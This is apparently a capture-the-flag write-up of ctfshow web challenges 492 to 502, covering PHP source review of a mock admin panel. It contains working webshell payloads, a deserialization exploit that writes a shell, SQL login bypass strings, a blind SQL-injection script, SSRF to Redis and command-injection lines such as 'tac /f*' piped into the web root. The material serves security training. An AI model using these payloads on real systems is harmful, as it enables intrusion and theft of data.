ctfshow web入门 中期测评 web492--web502

web492

<?php
include('render/render_class.php');
include('render/db_class.php');$action=$_GET['action'];
if(!isset($action)){header('location:index.php?action=login');die();	
}if($action=='check'){extract($_GET);if(preg_match('/^[A-Za-z0-9]+$/', $username)){$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";$user=db::select_one_array($sql);}if($user){templateUtil::render('index',$user);}else{templateUtil::render('error');}
}
if($action=='clear'){system('rm -rf cache/*');die('cache clear');
}if($action=='login'){templateUtil::render($action);
}else{templateUtil::render($action);
}

又可以写文件了,但是得找利用点,先扒源码吧

class db{public static  function getConnection(){$username='root';$password='root';$port='3306';$addr='127.0.0.1';$database='ctfshow';return new mysqli($addr,$username,$password,$database);}public static function select_one($sql){$conn = db::getConnection();$result=$conn->query($sql);if($result){return $result->fetch_object();}}public static function select_one_array($sql){$conn = db::getConnection();$result=$conn->query($sql);if($result){return $result->fetch_assoc();}}
}
<?phpinclude('file_class.php');
include('cache_class.php');class templateUtil {public static function render($template,$arg=array()){if(cache::cache_exists($template)){echo cache::get_cache($template);}else{$templateContent=fileUtil::read('templates/'.$template.'.php');$cache=templateUtil::shade($templateContent,$arg);cache::create_cache($template,$cache);echo $cache;}}public static  function shade($templateContent,$arg){foreach ($arg as $key => $value) {$templateContent=str_replace('{{'.$key.'}}', '<!--'.$value.'-->', $templateContent);}return $templateContent;}}

这里有个替换函数可以把value写在网页里面,我们传数组即可
在这里插入图片描述
不对必须是username

?action=check&user[username]=<?php eval($_POST[1]);?>

在这里插入图片描述
写进去了

url/cache/6a992d5529f459a44fee58c733255e86.php
RCE 即可

还有一种是直接把html前后闭合了

?action=check&user[username]=--> <?php eval($_POST[1]);?> <!--

在这里插入图片描述

web493

<?phpsession_start();
include('render/render_class.php');
include('render/db_class.php');$action=$_GET['action'];
if(!isset($action)){if(isset($_COOKIE['user'])){$c=$_COOKIE['user'];$user=unserialize($c);     //看到没if($user){templateUtil::render('index');}else{header('location:index.php?action=login');}}else{header('location:index.php?action=login');}die();	
}if($action=='check'){extract($_GET);if(preg_match('/^[A-Za-z0-9]+$/', $username)){$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";$db=new db();$user=$db->select_one($sql);}if($user){setcookie('user',$user);templateUtil::render('index');}else{templateUtil::render('error');}
}
if($action=='clear'){system('rm -rf cache/*');die('cache clear');
}if($action=='login'){templateUtil::render($action);
}else{templateUtil::render($action);
}

看到反序列化了,我们找poc链

<?php
error_reporting(0);
class db{public $db;public $log;public $sql;public $username='root';public $password='root';public $port='3306';public $addr='127.0.0.1';public $database='ctfshow';public function __construct(){$this->log=new dbLog();$this->db=$this->getConnection();}public function getConnection(){return new mysqli($this->addr,$this->username,$this->password,$this->database);}public  function select_one($sql){$this->sql=$sql;$conn = db::getConnection();$result=$conn->query($sql);if($result){return $result->fetch_object();}}public  function select_one_array($sql){$this->sql=$sql;$conn = db::getConnection();$result=$conn->query($sql);if($result){return $result->fetch_assoc();}}public function __destruct(){$this->log->log($this->sql);}
}
class dbLog{public $sql;public $content;public $log;public function __construct(){$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';}public function log($sql){$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';}public function __destruct(){file_put_contents($this->log, $this->content,FILE_APPEND);}
}

别的文件都不用看了这里的destruct会写马
EXP

<?php
class dbLog{public $content='<?=eval($_POST[1]);?>';public $log='/var/www/html/ma.php';public function __destruct(){file_put_contents($this->log, $this->content,FILE_APPEND);}
}
echo urlencode(serialize(new dbLog()));
?>
?action=check
cookie:
user=O%3A5%3A%22dbLog%22%3A2%3A%7Bs%3A7%3A%22content%22%3Bs%3A21%3A%22%3C%3F%3Deval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A20%3A%22%2Fvar%2Fwww%2Fhtml%2Fma.php%22%3B%7D

在这里插入图片描述

要触发反序列化需要if(!isset($action))
所以再回去访问一次,然后访问url/ma.php进行RCE

web494

大致代码和上题一样,用一样的EXP打通之后发现找不到flag,于是antsword链接之后用数据库操作找到flag
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

web495

与上题一样只不过发cookie的时候发快点,别让他跳转了

web496

<?php
session_start();
include('render/render_class.php');
include('render/db_class.php');$action=$_GET['action'];if(!isset($action)){if(isset($_COOKIE['user'])){$c=$_COOKIE['user'];if(preg_match('/\:|\,/', $c)){#$user=unserialize($c);}if($user){templateUtil::render('index');}else{header('location:index.php?action=login');}}else{header('location:index.php?action=login');}die();	
}switch ($action) {case 'check':$username=$_POST['username'];$password=$_POST['password'];if(!preg_match('/or|file|innodb|sys|mysql/i', $username)){$sql = "select username,nickname from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";$db=new db();$user=$db->select_one_array($sql);}if($user){$_SESSION['user']=$user;header('location:index.php?action=index');}else{templateUtil::render('error');}break;case 'clear':system('rm -rf cache/*');die('cache clear');break;case 'login':templateUtil::render($action);break;case 'index':$user=$_SESSION['user'];if($user){templateUtil::render('index',$user);}else{header('location:index.php?action=login');}break;case 'view':$user=$_SESSION['user'];if($user){templateUtil::render($_GET['page'],$user);}else{header('location:index.php?action=login');}break;case 'logout':session_destroy();header('location:index.php?action=login');break;default:templateUtil::render($action);break;
}

没有什么东西
先登录没想到成功了

username: -1'||1=1#
password :1

在这里插入图片描述

layui.use(['layer', 'form'], function(){var layer = layui.layer,form = layui.form;form.on('submit(admin_edit)', function(data){$.ajax({url:'api/admin_edit.php',dataType:"json",type:'post',data:{username:data.field['username'],nickname:data.field['nickname']},success:function(data){layer.alert(data.msg, function(index){location.reload();});  }});return false;});form.on('switch(changePWD)',function(data){$('#changePWD').toggle();});
});
layui.use('element', function(){var element = layui.element;
});
<?phpsession_start();
include('../render/db_class.php');error_reporting(0);
$user= $_SESSION['user'];
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){extract($_POST);$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";$db=new db();if($db->update_one($sql)){$_SESSION['user']['nickname']=$nickname;$ret['msg']='管理员信息修改成功';}else{$ret['msg']='管理员信息修改失败';}die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}

update注入而且还有POST的变量覆盖想想怎么写脚本

在这里插入图片描述
这里还有时间注入
首先我们要登录界面,然后再注入
截取nickname的8位这里用一个随机数生成来满足,一直写1的话刚才实验是没有成功的

为1时
{"code":0,"msg":"\u7ba1\u7406\u5458\u4fe1\u606f\u4fee\u6539\u6210\u529f","count":0,"data":[]}
为0
{"code":0,"msg":"\u7ba1\u7406\u5458\u4fe1\u606f\u4fee\u6539\u5931\u8d25","count":0,"data":[]}

不得不说写脚本的时候调payload又调了好一会,服了

import requests
import randomurl1="http://f8d0053d-629e-4755-90dc-32b3de93bb58.challenge.ctf.show/index.php?action=check"
url2="http://f8d0053d-629e-4755-90dc-32b3de93bb58.challenge.ctf.show/api/admin_edit.php"data={'username':"'|| 1=1#",'password':'1'
}
session=requests.session()
session.post(url=url1,data=data)flag=""
i=0while True:i+=1head=127tail=32while tail < head:mid =(head+tail)//2# payload=f"'||(if(ascii(substr((database()),{i},1))>{mid},1,0))#"# payload=f"'||(if(ascii(substr((SElect(group_concat(table_name))from(information_schema.tables)where(table_schema)='ctfshow'),{i},1))>{mid},1,0))#"# flagyoudontknow76,userpayload=f"'||(if(ascii(substr((SElect(group_concat(column_name))from(information_schema.columns)where(table_name)='flagyoudontknow76'),{i},1))>{mid},1,0))#"payload=f"'||(if(ascii(substr((SElect(group_concat(flagisherebutyouneverknow118))from(ctfshow.flagyoudontknow76)),{i},1))>{mid},1,0))#"data={"user[username]":payload,'nickname':random.randint(0,9999999)}r=session.post(url=url2,data=data)if 'u529f' in r.text:tail=mid+1else :head=midif tail !=32:flag+=chr(tail)else :breakprint("\r"+flag,end="")

web497

username:  '||1=1#
password:  1

万能密码登录

?action=../api/admin_edit
<?phpsession_start();
include('../render/db_class.php');error_reporting(0);
$user= $_SESSION['user'];
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){extract($_POST);$user= $_SESSION['user'];if(preg_match('/\'|\"|\\\/', $avatar)){$ret['msg']='存在无效字符';die(json_encode($ret));}$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";$db=new db();if($db->update_one($sql)){$_SESSION['user']['nickname']=$nickname;$_SESSION['user']['avatar']=$avatar;$ret['msg']='管理员信息修改成功';}else{$ret['msg']='管理员信息修改失败';}die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}

在这里插入图片描述
两种解法但是原理一样都是利用覆盖,通过file://协议获取flag
在这里插入图片描述
第一种直接就传参了,这种就是得回页面看了

在这里插入图片描述

web498

万能密码进后台,然后发现框子不能直接读了,但是这种框框要么是xss要么是ssrf,试试

dict://127.0.0.1:6379

在这里插入图片描述
6379端口开着的打Redis
但是这仅仅只是直觉,审计代码看看那
发现代码没啥问题,那莫非上题也可以直接打Redis?
在这里插入图片描述
但是我这边好像给网站直接打瘫痪了,加载不出来了,那就只能用antsword了
在这里插入图片描述
这边也是看到了自己的shell
在这里插入图片描述

诶那么我们刚才说上一题也可以直接Redis,那来试试?
尝试了 一下不行端口没开

web499

在这里插入图片描述
进入之后发现解锁了系统配置
源码肯定不一样了,我们看看那

layui.use(['layer', 'form'], function(){var layer = layui.layer,form = layui.form;form.on('submit(admin_settings)', function(data){$.ajax({url:'api/admin_settings.php',dataType:"json",type:'post',data:{title:data.field['title'],copy_right:data.field['copy_right'],beian:data.field['beian'],seo:data.field['seo']},success:function(data){layer.alert(data.msg, function(index){location.reload();});  }});return false;});
});layui.use('element', function(){var element = layui.element;
});
function change_avatar(){$('#avatar').toggle();
}

确实是出现了新文件

<?phpsession_start();error_reporting(0);
$user= $_SESSION['user'];
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));foreach ($_POST as $key => $value) {$config[$key]=$value;}file_put_contents(__DIR__.'/../config/settings.php', serialize($config));$ret['msg']='管理员信息修改成功';die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}

可以写入木马
在这里插入图片描述
在这里插入图片描述

web500

在这里插入图片描述
找半天

?action=../api/admin_db_backup
<?phpsession_start();error_reporting(0);
$user= $_SESSION['user'];
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){extract($_POST);shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);if(file_exists(__DIR__.'/../backup/'.$db_path)){$ret['msg']='数据库备份成功';}else{$ret['msg']='数据库备份失败';}die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}

覆盖之后执行命令
参数也有是db_path

db_path=;tac /f* > /var/www/html/1.txt
第一次直接写的txt不行

在这里插入图片描述

web501

?action=../api/admin_db_backup

还是这段代码有问题

<?phpsession_start();error_reporting(0);
$user= $_SESSION['user'];
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){extract($_POST);if(preg_match('/^zip|tar|sql$/', $db_format)){shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);if(file_exists(__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format)){$ret['msg']='数据库备份成功';}else{$ret['msg']='数据库备份失败';}}else{$ret['msg']='数据库备份失败';}die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}

这边是加了一个正则和在中间插入了时间但是还是比较好绕过
我尝试了一下zip\tar都可以但是sql不行好奇怪

db_format=tar;tac /f* > /var/www/html/9.txt

web502

<?phpsession_start();include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){extract($_POST);if(file_exists($pre.$db_format)){$ret['msg']='数据库备份成功';die(json_encode($ret));}if(preg_match('/^(zip|tar|sql)$/', $db_format)){shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);if(file_exists($pre.$db_format)){$ret['msg']='数据库备份成功';}else{$ret['msg']='数据库备份失败';}}else{$ret['msg']='数据库备份失败';}die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}

这里的正则只是加了个括号就大不一样,这会匹配zip\tar\sql,所以不能覆盖他来执行命令了,但是这里还有一个pre

api/admin_db_backup.php
传参
db_format=tar&pre=1;tac /f* > /var/www/html/1.txt;1

我写成zip一直打不通
我深度怀疑是环境的问题我他喵fuel
暂时没打通但是理论上payload没错

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/384575.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java面试还看传统八股文?快来看看这个场景题合集吧【附PDF】

以下就是这份面试场景文档↓ 这里有什么&#xff1f; ↓↓ 1.针对 2024 年面试行情的变化设计的面试场景题以及回答思路 2. 如何快速通过面试的详细攻略 3. 简历优化技巧 1.知己知彼才能百战百胜&#xff0c;如何做好面试前的准备工作 场景题答案以及更多场景题八股文一线大…

Java基础知识(一)

面向对象和面向过程的区别&#xff1f; 面向对象和面向过程是两种不同的编程范式&#xff0c;它们在设计和实现软件时有着不同的理念和方法。面向对象更适合大型、复杂的项目&#xff0c;尤其是需要维护和扩展的系统&#xff1b;而面向过程更适合小型、线性的任务或对性能要求…

1.2 单链表定义及操作实现(链式结构)

1.单链表定义 链式存储&#xff1a;用一组任意的存储单元存储线性表中的数据元素。用这种方法存储的线性 表简称线性链表。 为了正确表示结点间的逻辑关系&#xff0c;在存储每个结点值的同时&#xff0c;还必须存储指示其直接 后继结点的地址&#xff08;或位置&#xff09;…

内网渗透—内网穿透工具NgrokFRPNPSSPP

前言 主要介绍一下常见的隧道搭建工具&#xff0c;以此来达到一个内网穿透的目的。简单说一下实验滴环境吧&#xff0c;kali作为攻击机&#xff0c;winserver2016作为目标靶机。 kali 192.168.145.171 winserver2016 10.236.44.127 显然它们处于两个不同的局域网&#xff0c…

基于迁移学习的手势分类模型训练

1、基本原理介绍 这里介绍的单指模型迁移。一般我们训练模型时&#xff0c;往往会自定义一个模型类&#xff0c;这个类中定义了神经网络的结构&#xff0c;训练时将数据集输入&#xff0c;从0开始训练&#xff1b;而迁移学习中&#xff08;单指模型迁移策略&#xff09;&#x…

如何查看jvm资源占用情况

如何设置jar的内存 java -XX:MetaspaceSize256M -XX:MaxMetaspaceSize256M -XX:AlwaysPreTouch -XX:ReservedCodeCacheSize128m -XX:InitialCodeCacheSize128m -Xss512k -Xmx2g -Xms2g -XX:UseG1GC -XX:G1HeapRegionSize4M -jar your-application.jar以上配置为堆内存4G jar项…

二叉树详解-第四篇 二叉树链式结构的实现

目录 1.二叉树的遍历 1.1前序遍历&#xff1a; 1.2 中序遍历&#xff1a; 1.3 后序遍历&#xff1a; 2.二叉树链式结构的实现 2.1 Tree.h 2.2 Tree.cpp 2.2.1 前序遍历 void PreOrder(TNode* Root) 2.2.2 中序遍历 void InOrder(TNode* Root) 2.2.3 后序遍历 void Bac…

基于opencv[python]的人脸检测

1 图片爬虫 这里的代码转载自&#xff1a;http://t.csdnimg.cn/T4R4F # 获取图片数据 import os.path import fake_useragent import requests from lxml import etree# UA伪装 head {"User-Agent": fake_useragent.UserAgent().random}pic_name 0 def request_pic…

DVWA的安装和使用

背景介绍 DVWA是Damn Vulnerable Web Application的缩写&#xff0c;是一个用于安全脆弱性检测的开源Web应用。它旨在为安全专业人员提供一个合法的测试环境&#xff0c;帮助他们测试自己的专业技能和工具&#xff0c;同时也帮助web开发者更好地理解web应用安全防范的过程。DV…

微信小程序-本地部署(前端)

遇到问题&#xff1a;因为是游客模式所以不能修改appID. 参考链接&#xff1a;微信开发者工具如何从游客模式切换为开发者模式&#xff1f;_微信开发者工具如何修改游客模式-CSDN博客 其余参考&#xff1a;Ego微商项目部署&#xff08;小程序项目&#xff09;&#xff08;全网…

Wonder3D 论文学习

论文链接&#xff1a;https://arxiv.org/abs/2310.15008 代码链接&#xff1a;https://github.com/xxlong0/Wonder3D 解决了什么问题&#xff1f; 随着扩散模型的提出&#xff0c;3D 生成领域取得了长足进步。从单张图片重建出 3D 几何是计算机图形学和 3D 视觉的基础任务&am…

k8s安装

说明 本事件适合刚刚装系统的新机子&#xff0c;前提是可以ping通www.baidu。yum可以下载软件 本实验模拟单机k8s&#xff0c;主机ip为172.26.50.222 关闭防火墙 systemctl status firewalld systemctl stop firewalld systemctl disable firewalld getenforce setenforce …

【React】详解样式控制:从基础到进阶应用的全面指南

文章目录 一、内联样式1. 什么是内联样式&#xff1f;2. 内联样式的定义3. 基本示例4. 动态内联样式 二、CSS模块1. 什么是CSS模块&#xff1f;2. CSS模块的定义3. 基本示例4. 动态应用样式 三、CSS-in-JS1. 什么是CSS-in-JS&#xff1f;2. styled-components的定义3. 基本示例…

llama模型,nano

目录 llama模型 Llama模型性能评测 nano模型是什么 Gemini Nano模型 参数量 MMLU、GPQA、HumanEval 1. MMLU(Massive Multi-task Language Understanding) 2. GPQA(Grade School Physics Question Answering) 3. HumanEval llama模型 Large Language Model AI Ll…

【React】详解 Redux 状态管理

文章目录 一、Redux 的基本概念1. 什么是 Redux&#xff1f;2. Redux 的三大原则 二、Redux 的核心组件1. Store2. Action3. Reducer 三、Redux 的使用流程1. 安装 Redux 及其 React 绑定2. 创建 Action3. 创建 Reducer4. 创建 Store5. 在 React 应用中使用 Store6. 连接 React…

【Redis】主从复制分析-基础

1 主从节点运行数据的存储 在主从复制中, 对于主节点, 从节点就是自身的一个客户端, 所以和普通的客户端一样, 会被组织为一个 client 的结构体。 typedef struct client {// 省略 } client;同时无论是从节点, 还是主节点, 在运行中的数据都存放在一个 redisServer 的结构体中…

使用C#手搓Word插件

WordTools主要功能介绍 编码语言&#xff1a;C#【VSTO】 1、选择 1.1、表格 作用&#xff1a;全选文档中的表格&#xff1b; 1.2、表头 作用&#xff1a;全选文档所有表格的表头【第一行】&#xff1b; 1.3、表正文 全选文档中所有表格的除表头部分【除第一行部分】 1.…

Vue常用指令及其生命周期

作者&#xff1a;CSDN-PleaSure乐事 欢迎大家阅读我的博客 希望大家喜欢 目录 1.常用指令 1.1 v-bind 1.2 v-model 注意事项 1.3 v-on 注意事项 1.4 v-if / v-else-if / v-else 1.5 v-show 1.6 v-for 无索引 有索引 生命周期 定义 流程 1.常用指令 Vue当中的指令…

福派斯牛肉高脂猫粮,为何成猫舍首选?揭秘其神奇功效!

&#x1f43e; 说到猫咪的伙食&#xff0c;咱们当铲屎官的可是操碎了心&#xff01;想让自家毛孩子吃得健康又开心&#xff0c;选对猫粮真的太重要了。今天就来聊聊为啥福派斯牛肉高脂猫粮能成为众多猫舍的首选&#xff0c;以及它到底能帮咱们的小猫咪哪些忙吧&#xff01; 1️…

数据传输安全--SSL VPN

目录 IPSEC在Client to LAN场景下比较吃力的表现 SSL VPV SSL VPN优势 SSL协议 SSL所在层次 SSL工作原理 SSL握手协议、SSL密码变化协议、SSL警告协议三个协议作用 工作过程 1、进行TCP三次握手、建立网络连接会话 2、客户端先发送Client HELLO包&#xff0c;下图是包…